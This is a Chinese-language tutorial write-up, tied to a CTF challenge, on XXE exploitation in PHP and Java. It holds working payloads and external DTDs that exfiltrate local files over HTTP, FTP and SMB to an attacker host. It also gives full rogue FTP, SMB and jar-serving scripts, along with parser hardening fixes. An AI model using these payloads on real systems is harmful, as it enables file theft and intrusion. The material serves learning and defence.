前言 一开始学web基础漏洞时,就没好好看过xxe,因为感觉考的少。一天,killer师傅在公众号发了个xxe小挑战(https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA),我就想借此机会学习一下xxe。
xxe简介 初见 当xml允许引用外部实体时,可能会造成文件读取或端口探测的效果。所以,可以说xxe相当于任意文件读+SSRF,只不过这里读文件的条件其实比较苛刻。
来看一个最简单的payload:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY read SYSTEM "file:///D:/flag.txt" > ]> <data > <a > &read; </a > </data >
这个payload能够读取win.ini,并作为通用实体read的值。这样就可以在xml正文里通过&read;的方法进行引用,从而将数据注入xml正文。如果解析后有回显的话,我们就能够读到数据。
这是漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static void docBuilder (String xml) throws ParserConfigurationException, IOException, SAXException { InputStream inputStream = new java .io.ByteArrayInputStream(xml.getBytes()); DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(inputStream); StringBuffer buf = new StringBuffer (); NodeList rootNodeList = doc.getChildNodes(); for (int i = 0 ; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0 ; j < child.getLength(); j++) { Node node = child.item(j); buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n" ); } } System.out.println(buf.toString()); System.out.println("Document parsed successfully" ); }
传入刚刚的payload,成功读取到内容:
各种语言支持的协议 上面通过file协议引用外部文件,xml的dtd(document type definition)中还支持很多其他伪协议,具体怎么用在下面讲。
PHP:file/http/ftp/php/compress.zlib/compress.bzip2/data/glob/phar PHP扩展openssl:https/ftps PHP扩展zip:zip PHP扩展ssh2:ssh2.shell/ssh2.exec/ssh2.tunnel/ssh2.sftp/ssh2.scp PHP扩展rar:rar PHP扩展oggvorbis:ogg PHP扩展expect :expect Java:http/https/ftp/file/jar/netdoc/mailto/gopher(仅限低版本) .NET:file/http/https/ftp
各种打法 踩坑 注意,前面不能有任何字符,换行也不行,不然就会报错:
复制的时候注意点
有回显 一般用:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY read SYSTEM "file:///D:/flag.txt" > ]> <data > <a > &read; </a > </data >
跟上面讲的一样。
读目录就把最后的文件名去掉
特殊符号 但是要注意,有一些特殊字符不能回显。
在xml主体部分中 !%>;可以正常回显:
&<不能回显:
除非是正确的xml语法,比如aaa ,这样虽然不报错,但是只能回显标签内部的内容:
通过上面的例子,可以发现其本质就是是否符合xml语法。
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY read SYSTEM "file:///D:/flag.txt" > ]> <data > <a > &read; </a > </data >
通用实体在DTD部分声明,在XML文档主体中被按顺序解析,每次解析完都会检查一遍语法。这就是为什么不能出现单个<的原因。
但是在php中,可以通过php://filter的方式对文件进行编码,然后带出:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=flag.txt" > ]> <data > <a > &read; </a > </data >
CDATA带出特殊符号 CDATA能够将包裹的内容作为纯文本,不被xml解析器解析。如下:
1 2 3 <example > <![CDATA[<b>This is a bold text</b>]]> </example >
失败1 下面是一个失败的payload:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE roottag [ <!ENTITY start "<![CDATA[" > <!ENTITY goodies SYSTEM "file:///D:/target.txt" > <!ENTITY end "]]>" > ]> <user > <username > &start; &goodies; &end; </username > <password > admin</password > </user >
会报错:
看起来明明没问题,为什么会报错?
这是因为通用实体的展开和xml主体的语法检查是交替进行的。也就是说,这里会先展开&start; 于是xml主体变成:
1 <user > <username > <![CDATA[&goodies;&end;</username><password>admin</password></user>
这时,xml进行一次语法检查,发现<>没有闭合,于是抛出报错。
下面是AI问答的关键部分:
所以我们得想办法在DTD中就把CDATA完整拼接好。
失败2 下面又是一个失败的payload:
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///D:/target.txt" > <!ENTITY % end "]]>" > <!ENTITY cdata "%start;%goodies;%end;" > ]> <user > <username > &cdata; </username > <password > admin</password > </user >
报错:
这里规定,通用实体和参数实体的定义中,都不能对参数实体进行引用。
但是,外部dtd中的情况就不同:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE roottag [ <!ENTITY % remote SYSTEM "http://127.0.0.1:7777/evil.dtd" > %remote; ]> <user > <username > &cdata; </username > <password > admin</password > </user > <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///D:/target.txt" > <!ENTITY % end "]]>" > <!ENTITY cdata "%start;%goodies;%end;" >
外部dtd是允许在实体定义中引用另一个实体的,且在引用前会进行展开。
通过CDATA,我们得以显示<,但是单独的&还是会报错:
这是因为外部dtd中,使用file进行了一次dtd引用。解析器肯定是把引用的文件当作xml去进行语法检查,所以必须以&a; 的形式出现才行,而不能是单独的&。实际上,任何实体中都不能出现单独的&:
在这里添加&也会导致直接报错,外部dtd也是:
但我们可以通过手动闭合的方式实现。比如target.txt的内容是&,那外部dtd可以写成:
1 2 3 4 <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///D:/target.txt" > <!ENTITY % end "]]>" > <!ENTITY cdata "%start;%goodies;any;%end;" >
这样就能成功读取。
无回显(需外带) 一般打法(http) php里很简单,直接编码外带就行
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd" > %dtd;]> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击机URL/?file=%file;'>" > %int;%send;
%是%的html编码
失败1 java里的外带情况会复杂些,主要是因为url里会出现特殊字符。
首先看一个失败的payload:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd" > %dtd; ]> <!ENTITY % file SYSTEM "file:///D:/target.txt" > <!ENTITY % send SYSTEM 'http://攻击机URL/?file=%file;' > %send;
%file直接被原样带出了,并没有进行替换
这是因为这个dtd中,%file位于%send的实体内容位置,所以会被作为字符串处理。
那上面提到过
1 2 3 4 <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///D:/target.txt" > <!ENTITY % end "]]>" > <!ENTITY cdata "%start;%goodies;%end;" >
%start;%goodies;%end;不也是出现在实体内容位置吗,为什么能够被展开。这是因为只有SYSTEM后面的实体内容才会被当作字符串。你想,SYSTEM后面原本就是用来调用外部dtd的,一般都是http://xxx,file://xxx,肯定当作字符串解析。
1 2 3 <!ENTITY % file SYSTEM "file:///D:/target.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击机URL/?file=%file;'>" > %int;%send;
而这样写,在展开int时,识别到里面是dtd格式,于是会开启dtd解析,这时候,%file就会被识别为参数实体,从而成功展开。
特殊符号 经过测试,发现http外带过程中,%,&和\n(即文件有换行就无法带出)无法正常带出,其他应该可以。其中%,&如果出现在文件末尾,可以闭合。
dtd还是这个:
1 2 3 <!ENTITY % file SYSTEM "file:///D:/target.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击机URL/?file=%file;'>" > %int;%send;
为什么%和&不行,而<可以,我还不是特别理解,下面是目前的解释:
1、展开%int后,进入dtd解析状态,将%send里面的%file展开后,如果还是有%,&等字符,则又会触发实体解析,从而报错
2、而<>!在SYSTEM中被认为是普通字符
那能不能通过CDATA外带特殊符号呢?
1 2 3 4 5 6 <!ENTITY % file SYSTEM "file:///D:/target.txt" > <!ENTITY % start "<![CDATA[" > <!ENTITY % end "]]>" > <!ENTITY % all "%start;%file;%end;" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://攻击机URL/?file=%all;'>" > %int;%send;
显然不行,因为刚刚讲了,在dtd解析的上下文环境中,<!>;这些在SYSTEM里根本不解析,但%一定会解析,所以还是相同的报错。
那为什么http不能带出有换行的文件呢?这是由jdk代码决定的。
8u65中的报错位置:
各版本的报错代码不一样,不过都是不允许换行符。
ftp打法(<7u131 <8u131-b09) ftp在jdk低版本下可以外带多行数据,常用于读目录。
各版本ftp能否使用:
xml:
1 2 3 4 <?xml version="1.0" ?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://127.0.0.1:9999/evil.dtd" > %dtd;]>
dtd:
1 2 3 <!ENTITY % file SYSTEM "file:///D:/" > <!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://127.0.0.1:7777/%file;'>" > %int;%send;
evilFTP.py用的heihu师傅的,python evilFTP.py 7777 result.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from socket import *from multiprocessing import Processimport timeimport sysIP = '127.0.0.1' PORT = int (sys.argv[1 ]) ADDR_MAIN = (IP, PORT) ADDR_EXT = (IP, 63568 ) def get_host_ip (): try : s = socket(AF_INET, SOCK_DGRAM) s.connect(('8.8.8.8' , 80 )) ip = s.getsockname()[0 ] finally : s.close() return ip def epsv (s_ext ): s_ext.bind(ADDR_EXT) s_ext.listen() time.sleep(0.5 ) s_ext.close() return 0 def clear_null (res ): new = [] for i in res: if i != '' : new.append(i) return new def center (connect ): res = [] connect.send(b"220 (vsFTPd 3.0.3)\n" ) print ('[*]Waiting for data...' ) print ("-" * 30 ) while True : msg = connect.recv(1024 ) print ("->" , end="" ) print (msg) data = '' rep = b'\n' if 'USER ' == msg.decode()[:5 ]: data = msg.decode() + '\r\n' rep = b'331 Please specify the password.\n' elif 'PASS ' == msg.decode()[:5 ]: rep = b'230 Login successful.\n' data = msg.decode() + '\r\n\r\n\r\n' elif 'TYPE I' == msg.decode()[:6 ]: rep = b'200 Switching to Binary mode.\n' elif 'TYPE A' == msg.decode()[:6 ]: rep = b'200 Switching to ASCII mode.\n' elif 'CWD ' == msg.decode()[:4 ]: data = msg.decode()[4 :] rep = b'250 Directory successfully changed.\n' elif 'EPSV ALL' == msg.decode()[:8 ]: rep = b'200 EPSV ALL ok.\n' elif 'EPSV' == msg.decode()[:4 ]: s_ext = socket() p_ext = Process(target=epsv, args=(s_ext,)) p_ext.start() rep = b'229 Entering Extended Passive Mode (|||63568|)\n' time.sleep(0.5 ) elif 'RETR ' == msg.decode()[:5 ]: data = msg.decode()[5 :] res.append(data[:-2 ]) print ("<-" , end="" ) print (rep) connect.send(rep) if 'RETR ' == msg.decode()[:5 ]: time.sleep(1 ) p_ext.close() return '/' .join(clear_null(res)) if __name__ == '__main__' : print (f'[*]Listening {IP} on {PORT} and 63568...' ) output = sys.argv[2 ] s = socket() s.bind(ADDR_MAIN) s.listen() connect, addr = s.accept() print (f'[*]Get connection from {addr} .' ) data = None try : data = center(connect) print ("-" * 30 ) except : print ('[-]Failed to get data.' ) finally : s.close() with open (output, 'w+' ) as f: if data == None : print ('[*] ReadFile fail!!!' ) else : f.write(data) print (f'[ ]Data has been written into {output} .' )
特殊字符相关:
参考
https://zoiltin.github.io/posts/%E7%9B%B2xxe%E4%B8%ADftp%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%88%A9%E7%94%A8/
高版本jdk修复
报错XXE php中,允许参数实体内引用%
1 2 3 4 5 6 7 8 <!ENTITY % NUMBER ' <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!-- 定义file实体读取win.ini --> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; <!-- 展开eval实体 --> %error; <!-- 触发error实体 --> ' > %NUMBER;
java得改一下
一般打法(出网) 1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % test SYSTEM "http://IP:PORT/evil.xml" > %test; ]>
dtd:
1 2 3 4 <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini" > <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>" > %eval; %error;
特殊符号 这里跟前面无回显的情况是一样的,<!;>能直接带出来,%,&不行。
同样,没有用。
不出网打法 原来是利用windows或linux原本的dtd文件,然后对里面的参数实体进行覆盖。
windows存在 C:\Windows\System32\wbem\xml\cim20.dtd
这里SuperClass可用,其他的在第一次被引用时,都不位于最后,无法进行闭合,如ArraySize:
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd" > <!ENTITY % SuperClass '> <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ENTITY test "test"' > %local_dtd; ]>
这里%先解析成%,再解析成%
Windows上常用dtd C:/Windows/System32/wbem/xml/cim20.dtd C:/Windows/System32/wbem/xml/wmi20.dtd C:/Windows/SysWOW64/wbem/xml/cim20.dtd C:/Windows/SysWOW64/wbem/xml/wmi20.dtd
linux系统中dtd文件视系统而定,比如Ubuntu中 /usr/share/xml/fontconfig/fonts.dtd constant可利用。
1 2 <!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const' > <!ELEMENT patelt (%constant ;)*>
参考
https://mp.weixin.qq.com/s/XwmsNWMwFIKUQUV6B9KAFw
smb协议外带多行 参考https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA
基于这道题讲。
首先尝试http外带,先不读取任何文件,就尝试发送http请求,能够确定目标jdk为8u202 这样依赖,ftp外带多行的方法用不了。接着试一下读取/etc/passwd。这里只能用ftp协议尝试。如果用http的话,由于passwd是多行文件,根本收不到http请求。用ftp的话,才能确定文件是否存在。虽然ftp在高版本jdk也没法读文件,但是文件存在的话,至少能收到请求,所以可以借此判断文件是否存在。
读/etc/passwd,发现ftp服务器没收到任何东西,说明不存在此文件,那么就应该是windows系统。
至此我们题目转变为windows环境下JDK高版本如何通过OOB获取多行内容。
下面直接给出答案,思考过程看公众号。
恶意xml:
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://127.0.0.1:7777/evil.dtd" > %dtd; ]>
dtd:
1 2 3 <!ENTITY % f SYSTEM "netdoc://C:/" > <!ENTITY % all "<!ENTITY % send SYSTEM 'file://\\\\ip/?x=test%f;'>" > %all;%send;
这里读取文件时,开头第一个字符不能为分号,所以要自己加其他字符。
安装smb服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 安装samba apt install samba 修改配置文件 /etc/samba/smb.conf [global] guest account = nobody map to guest = Bad User server role = standalone server [tmp] path = /tmp guest ok = yes browseable = yes public = yes 重启 service smbd restart
抓包smb流量:
1 tcpdump -i eth0 port 445 -w smb_445.pcap
https://github.com/cwkiller/xxe-smb-server
或者使用脚本一步到位,能够启动http和smb服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 from impacket.smbserver import SimpleSMBServerfrom http.server import HTTPServer, BaseHTTPRequestHandlerimport sysimport osimport loggingimport threadingimport argparseclass XXEHandler (BaseHTTPRequestHandler ): public_ip = None def do_GET (self ): """处理所有 GET 请求""" self .send_response(200 ) self .send_header('Content-type' , 'application/xml' ) self .end_headers() payload = f'<!ENTITY % all "<!ENTITY send SYSTEM \'file:////{self.public_ip} /a%file;\'>">\n%all;' self .wfile.write(payload.encode()) logging.info(f"[HTTP] Request from {self.address_string()} - Path: {self.path} " ) logging.info(f"[HTTP] Sent payload: {payload} " ) def log_message (self, format , *args ): """自定义日志格式""" logging.info(f"[HTTP] {self.address_string()} - {format % args} " ) def start_http_server (port, public_ip ): """启动 HTTP 服务器""" XXEHandler.public_ip = public_ip server = HTTPServer(('0.0.0.0' , port), XXEHandler) logging.info(f"[*] HTTP Server started on port {port} " ) logging.info(f"[*] XXE Payload URL: http://{public_ip} :{port} /xxe.dtd" ) server.serve_forever() def start_smb_server (share_path ): """启动 SMB 服务器""" server = SimpleSMBServer(listenAddress='0.0.0.0' , listenPort=445 ) server.addShare('SHARE' , share_path, '' ) server.setSMBChallenge('' ) server.setSMB2Support(True ) server.start() def main (): parser = argparse.ArgumentParser( description='XXE SMB Server - Combined HTTP and SMB server for XXE exploitation' , formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: %(prog)s 1.2.3.4 # 使用默认 HTTP 端口 80 %(prog)s 1.2.3.4 8080 # 使用自定义 HTTP 端口 8080 ''' ) parser.add_argument('public_ip' , help ='公网 IP 地址 (必需)' ) parser.add_argument('webport' , type =int , nargs='?' , default=80 , help ='HTTP 服务端口 (默认: 80)' ) parser.add_argument('-s' , '--share-path' , default='/tmp/share' , help ='SMB 共享目录路径 (默认: /tmp/share)' ) args = parser.parse_args() if not args.public_ip or args.public_ip.count('.' ) != 3 : parser.error("请提供有效的公网 IP 地址" ) os.makedirs(args.share_path, exist_ok=True ) logging.basicConfig( level=logging.DEBUG, format ='%(asctime)s [%(levelname)s] %(message)s' , datefmt='%Y-%m-%d %H:%M:%S' ) logging.getLogger('impacket.smbserver' ).setLevel(logging.DEBUG) payload = f'''Usage: 1. 请发送如下XXE payload到目标服务器 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///"> <!ENTITY % dtd SYSTEM "http://{args.public_ip} :{args.webport} /data.dtd"> %dtd; ]> <data>&send;</data> 2. SMB 服务器将捕获文件内容''' print (payload) try : http_thread = threading.Thread( target=start_http_server, args=(args.webport, args.public_ip), daemon=True ) http_thread.start() start_smb_server(args.share_path) except KeyboardInterrupt: print ("\n[*] Servers stopped" ) sys.exit(0 ) except PermissionError: print ("\n[!] Error: Permission denied. Please run with sudo for port 445 and port 80" ) sys.exit(1 ) except Exception as e: print (f"\n[!] Error: {e} " ) sys.exit(1 ) if __name__ == '__main__' : main()
注意:win11不适用,因为不能请求匿名的smb服务;家庭宽带无法向445端口发送请求
其他trick netdoc代替file java的netdoc对file协议进行了封装,可以用来代替file读文件。
在sun.net.www.protocol.netdoc.Handler#openConnection打断点
能够发现file:///C:/xxx 或是 netdoc:///C:/xxx 也可以
编码绕过 1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd" > ]> <x > &f; </x >
utf7编码
1 2 3 4 5 <?xml version="1.0" encoding="utf-7" ?> +ADwAIQ-DOCTYPE ANY +AFs- +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg- +ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
jar协议上传文件 jar协议使用时,会上传临时文件到靶机,并且可以通过构造特殊http请求让临时文件多存在一会儿。
首先,jar协议的格式为:jar://{本地或网络URI}/{jar文件}!/{jar中的文件}
下面是一个上传jar的脚本,通过在30s后上传jar的最后一个字节,达到临时文件驻留的效果,因此,需要在原本的jar后添加一个脏字节,从而使原jar在一开始顺序上传
参考https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import sysimport timeimport threadingimport socketserverfrom urllib.parse import quoteimport http.client as httpclisten_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1 ] class JarRequestHandler (socketserver.BaseRequestHandler): def handle (self ): http_req = b'' print ('New connection:' , self .client_address) while b'\r\n\r\n' not in http_req: try : http_req += self .request.recv(4096 ) print ('Client req:\r\n' , http_req.decode()) jf = open (jar_file, 'rb' ) contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''' ) self .request.sendall(headers.encode('ascii' )) self .request.sendall(contents[:-1 ]) time.sleep(30 ) print (30 ) self .request.sendall(contents[-1 :]) except Exception as e: print ("get error at:" + str (e)) if __name__ == '__main__' : jarserver = socketserver.TCPServer((listen_host, listen_port), JarRequestHandler) print ('waiting for connection, listening {port}...' .format (port=listen_port)) server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()
python jarServer.py [端口] [添加脏字节后的jar包]
会在 C:\Users[user]\AppData\Local\Temp 下产生临时文件:
格式为jar_cachexxxx.tmp
得到临时文件目录 1、通过报错
随便写一个jar内不存在的文件即可:
但是只能确定目录,不能确定文件名,因为报错的时候,原临时文件已经被删除了
2、通过ftp协议
这个就是无回显里的ftp打法,通过列目录来获得临时文件的名称。先上传临时jar,然后ftp读目录。
临时文件生成源码 这里jdk8u65
从报错列目录那里跟进:
一点点调试,如果看到文件名产生了,说明走过头了,下面是调用栈:
上面两张图产生前缀和后缀
最终在java.nio.file.TempFileHelper#generatePath生成完整文件名:
生成和删除临时文件的点:
各个库中的XXE 参考https://blog.spoock.com/2018/10/23/java-xxe/
https://github.com/JoyChou93/java-sec-code 这个靶场的xxe涵盖大部分
DocumentBuilderFactory【可回显】 漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); String FEATURE = null; FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing"; dbf.setFeature(FEATURE, true); FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // 读取xml文件内容 FileInputStream fis = new FileInputStream("path/to/xxexml"); InputSource is = new InputSource(fis); builder.parse(is);
正确修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = null; FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing"; dbf.setFeature(FEATURE, true); FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); DocumentBuilder builder = dbf.newDocumentBuilder(); // 读取xml文件内容 FileInputStream fis = new FileInputStream("path/to/xxexml"); InputSource is = new InputSource(fis); Document doc = builder.parse(is);
jdom2【可回显】 1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > org.jdom</groupId > <artifactId > jdom2</artifactId > <version > 2.0.6.1</version > </dependency > </dependencies >
漏洞:
1 2 SAXBuilder builder = new SAXBuilder(); Document doc = builder.build(InputSource);
修复1:
1 2 SAXBuilder builder = new SAXBuilder(true); Document doc = builder.build(InputSource);
修复2:
1 2 3 4 5 6 SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); Document doc = builder.build(InputSource);
SAXParserFactory[外带] 漏洞:
1 2 3 SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); parser.parse(InputSource, (HandlerBase) null);
修复:
1 2 3 4 5 6 7 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); SAXParser parser = spf.newSAXParser(); parser.parse(InputSource, (HandlerBase) null);
dom4j【可回显】 1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > dom4j</groupId > <artifactId > dom4j</artifactId > <version > 1.6.1</version > </dependency > </dependencies >
漏洞:
1 2 3 4 5 public static void SAXReader(String xml) throws DocumentException { SAXReader reader = new SAXReader(); // org.dom4j.Document document reader.read(new InputSource(new StringReader(xml))); // cause xxe }
修复:
1 2 3 4 5 6 SAXReader saxReader = new SAXReader(); saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); saxReader.read(InputSource);
只能打非回显的
漏洞:
1 2 3 SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();StreamSource source = new StreamSource (InputSource);sf.newTransformerHandler(source);
修复:
1 2 3 4 5 SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "" ); StreamSource source = new StreamSource (InputSource);sf.newTransformerHandler(source);
SchemaFactory【外带】 只能打外带
1 2 3 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema" );StreamSource source = new StreamSource (ResourceUtils.getPoc1());Schema schema = factory.newSchema(InputSource);
修复:
1 2 3 4 5 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema" );factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "" ); StreamSource source = new StreamSource (InputSource);Schema schema = factory.newSchema(source);
只能打外带
1 2 3 TransformerFactory tf = TransformerFactory.newInstance();StreamSource source = new StreamSource (InputSource);tf.newTransformer().transform(source, new DOMResult ());
修复:
1 2 3 4 5 TransformerFactory tf = TransformerFactory.newInstance();tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "" ); StreamSource source = new StreamSourceInputSource );tf.newTransformer().transform(source, new DOMResult ());
ValidatorSample【外带】 只能外带
1 2 3 4 5 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); Schema schema = factory.newSchema(); Validator validator = schema.newValidator(); StreamSource source = new StreamSource(InputSource); validator.validate(source);
修复:
1 2 3 4 5 6 7 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema" );Schema schema = factory.newSchema();Validator validator = schema.newValidator();validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "" ); StreamSource source = new StreamSource (InputSource);validator.validate(source);
XMLReader【外带】 只能外带
1 2 XMLReader reader = XMLReaderFactory.createXMLReader();reader.parse(new InputSource (InputSource));
修复:
1 2 3 4 5 6 XMLReader reader = XMLReaderFactory.createXMLReader();reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false ); reader.setFeature("http://xml.org/sax/features/external-general-entities" , false ); reader.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); reader.parse(new InputSource (InputSource));
Unmarshaller【无漏洞】 默认不存在XXE
1 2 3 4 5 Class tClass = Some.class;JAXBContext context = JAXBContext.newInstance(tClass);Unmarshaller um = context.createUnmarshaller();Object o = um.unmarshal(inputStream);tClass.cast(o);
scxml2【可RCE】 参考
https://1diot9.github.io/2025/11/18/HDCTF2023-BabyJxAx/
[https://boogipop.com/2023/04/24/Apache%20SCXML2%20RCE%E5%88%86%E6%9E%90/] (https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)
https://xz.aliyun.com/news/11828
https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ
NSSCTF可搜索BabyJxVx做题
漏洞:
1 2 3 4 5 String url = "http://127.0.0.1:8000/1.xml" SCXMLExecutor executor = new SCXMLExecutor ();SCXML scxml = SCXMLReader.read(file); executor.setStateMachine(scxml); executor.go();
恶意xml:
